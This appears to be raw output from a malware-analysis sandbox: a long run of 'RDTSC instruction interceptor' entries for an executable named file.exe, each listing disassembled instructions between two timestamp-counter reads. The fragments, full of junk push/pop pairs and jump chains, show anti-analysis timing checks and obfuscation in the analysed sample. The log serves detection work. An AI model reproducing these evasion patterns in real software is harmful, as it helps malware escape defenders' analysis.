Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC229B second address: EC22A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FC221A94B26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC22A8 second address: EC22AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC22AE second address: EC22B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFA4D second address: EAFA51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFA51 second address: EAFA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFA5B second address: EAFA87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f jo 00007FC220745E0Dh 0x00000015 jne 00007FC220745DF6h 0x0000001b jmp 00007FC220745E01h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFA87 second address: EAFAA1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC221A94B34h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAFAA1 second address: EAFAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC198B second address: EC198F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC1C25 second address: EC1C4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5635 second address: D519BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jns 00007FC221A94B40h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jnp 00007FC221A94B3Ah 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jg 00007FC221A94B47h 0x00000022 pop eax 0x00000023 stc 0x00000024 push dword ptr [ebp+122D04E9h] 0x0000002a jmp 00007FC221A94B37h 0x0000002f call dword ptr [ebp+122D2819h] 0x00000035 pushad 0x00000036 jmp 00007FC221A94B37h 0x0000003b xor eax, eax 0x0000003d jmp 00007FC221A94B34h 0x00000042 mov edx, dword ptr [esp+28h] 0x00000046 stc 0x00000047 sub dword ptr [ebp+122D2F78h], edi 0x0000004d mov dword ptr [ebp+122D2B56h], eax 0x00000053 jmp 00007FC221A94B2Eh 0x00000058 mov esi, 0000003Ch 0x0000005d mov dword ptr [ebp+122D19E9h], edi 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 jno 00007FC221A94B2Ch 0x0000006d lodsw 0x0000006f pushad 0x00000070 jnl 00007FC221A94B2Ch 0x00000076 mov ecx, dword ptr [ebp+122D2B16h] 0x0000007c popad 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 mov dword ptr [ebp+122D1B69h], edx 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b clc 0x0000008c nop 0x0000008d push eax 0x0000008e push edx 0x0000008f jnp 00007FC221A94B3Eh 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC57C9 second address: EC57E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC220745DFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC57E3 second address: EC5810 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC221A94B2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC221A94B37h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5810 second address: EC584A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC220745DFCh 0x00000008 jnc 00007FC220745DF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 sbb dx, 9FCDh 0x00000016 lea ebx, dword ptr [ebp+12447547h] 0x0000001c mov ecx, dword ptr [ebp+122D2BB2h] 0x00000022 sub ecx, dword ptr [ebp+122D1FF1h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC220745DFFh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC584A second address: EC5854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FC221A94B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC58A7 second address: EC58D8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC220745DF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sbb edi, 62603C2Ch 0x00000013 jne 00007FC220745DFCh 0x00000019 push 00000000h 0x0000001b movsx ecx, cx 0x0000001e push A55982BEh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC58D8 second address: EC58DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC58DC second address: EC58F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5A12 second address: EC5A1F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5A1F second address: EC5A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5B74 second address: EC5B83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5B83 second address: EC5B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FC220745DF8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5B97 second address: EC5BD4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC221A94B28h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d add ecx, dword ptr [ebp+122D2525h] 0x00000013 lea ebx, dword ptr [ebp+1244755Bh] 0x00000019 jbe 00007FC221A94B2Ch 0x0000001f mov dword ptr [ebp+122D1B75h], edx 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 push esi 0x00000028 jmp 00007FC221A94B30h 0x0000002d pop esi 0x0000002e push eax 0x0000002f push edx 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2E13 second address: EB2E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745DFAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FC220745DFCh 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2E34 second address: EB2E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 je 00007FC221A94B26h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FC221A94B2Ah 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2E55 second address: EB2E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3445 second address: EE346F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FC221A94B36h 0x0000000c js 00007FC221A94B34h 0x00000012 push edi 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE35BD second address: EE35D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 jmp 00007FC220745DFBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3728 second address: EE3751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FC221A94B2Eh 0x0000000f pop esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3751 second address: EE3755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3755 second address: EE3780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007FC221A94B26h 0x00000010 jmp 00007FC221A94B30h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3780 second address: EE37A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC220745E09h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3901 second address: EE390C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE390C second address: EE3912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3912 second address: EE3916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3916 second address: EE3933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745E04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3A90 second address: EE3AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC221A94B32h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3AA9 second address: EE3AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3AB1 second address: EE3AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3AB7 second address: EE3ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC220745E06h 0x0000000f jns 00007FC220745DF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3C36 second address: EE3C4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC221A94B34h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3DA9 second address: EE3DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8A09 second address: ED8A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB487A second address: EB487E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4FD1 second address: EE4FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B36h 0x00000009 jno 00007FC221A94B26h 0x0000000f popad 0x00000010 push ecx 0x00000011 jno 00007FC221A94B26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE52D9 second address: EE52DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE52DD second address: EE52E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCF93 second address: EBCF97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCF97 second address: EBCFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FC221A94B32h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFA5 second address: EBCFAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFAB second address: EBCFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCFAF second address: EBCFB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9778 second address: EE9787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC221A94B26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9787 second address: EE978B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE978B second address: EE97C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC221A94B32h 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jp 00007FC221A94B30h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE97C3 second address: EE97C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE97C7 second address: EE97D1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE880F second address: EE8813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBA6 second address: EEBBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBAC second address: EEBBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBB0 second address: EEBBC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBBC4 second address: EEBBDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC220745E04h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADE30 second address: EADE47 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC221A94B26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007FC221A94B26h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADE47 second address: EADE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADE4C second address: EADE6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FC221A94B2Fh 0x00000008 jbe 00007FC221A94B26h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADE6D second address: EADE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF806 second address: EEF811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FC221A94B26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF811 second address: EEF817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7D99 second address: EB7DAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC221A94B26h 0x00000008 jmp 00007FC221A94B2Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7DAE second address: EB7DE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FC220745DFCh 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FC220745DFEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2466 second address: EF247F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FC221A94B26h 0x0000000d jmp 00007FC221A94B2Bh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF247F second address: EF2485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2485 second address: EF24C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B2Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e ja 00007FC221A94B2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FC221A94B26h 0x0000001c jmp 00007FC221A94B37h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2BE1 second address: EF2C0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FC220745DF6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2D3E second address: EF2D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FC221A94B28h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2ECB second address: EF2EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745E02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2EE1 second address: EF2EFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC221A94B36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2EFF second address: EF2F26 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FC220745E09h 0x00000008 jg 00007FC220745DF6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2F26 second address: EF2F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2F2C second address: EF2F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4C9A second address: EF4CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 724B437Fh 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FC221A94B28h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov esi, dword ptr [ebp+122D2BAEh] 0x00000030 push 21D0469Dh 0x00000035 je 00007FC221A94B34h 0x0000003b push eax 0x0000003c push edx 0x0000003d jns 00007FC221A94B26h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF530D second address: EF5311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53D1 second address: EF53D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53D6 second address: EF53DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53DC second address: EF53EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b js 00007FC221A94B26h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53EE second address: EF53F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53F3 second address: EF53F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58D3 second address: EF58E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], ebx 0x00000008 mov dword ptr [ebp+122D2734h], edi 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
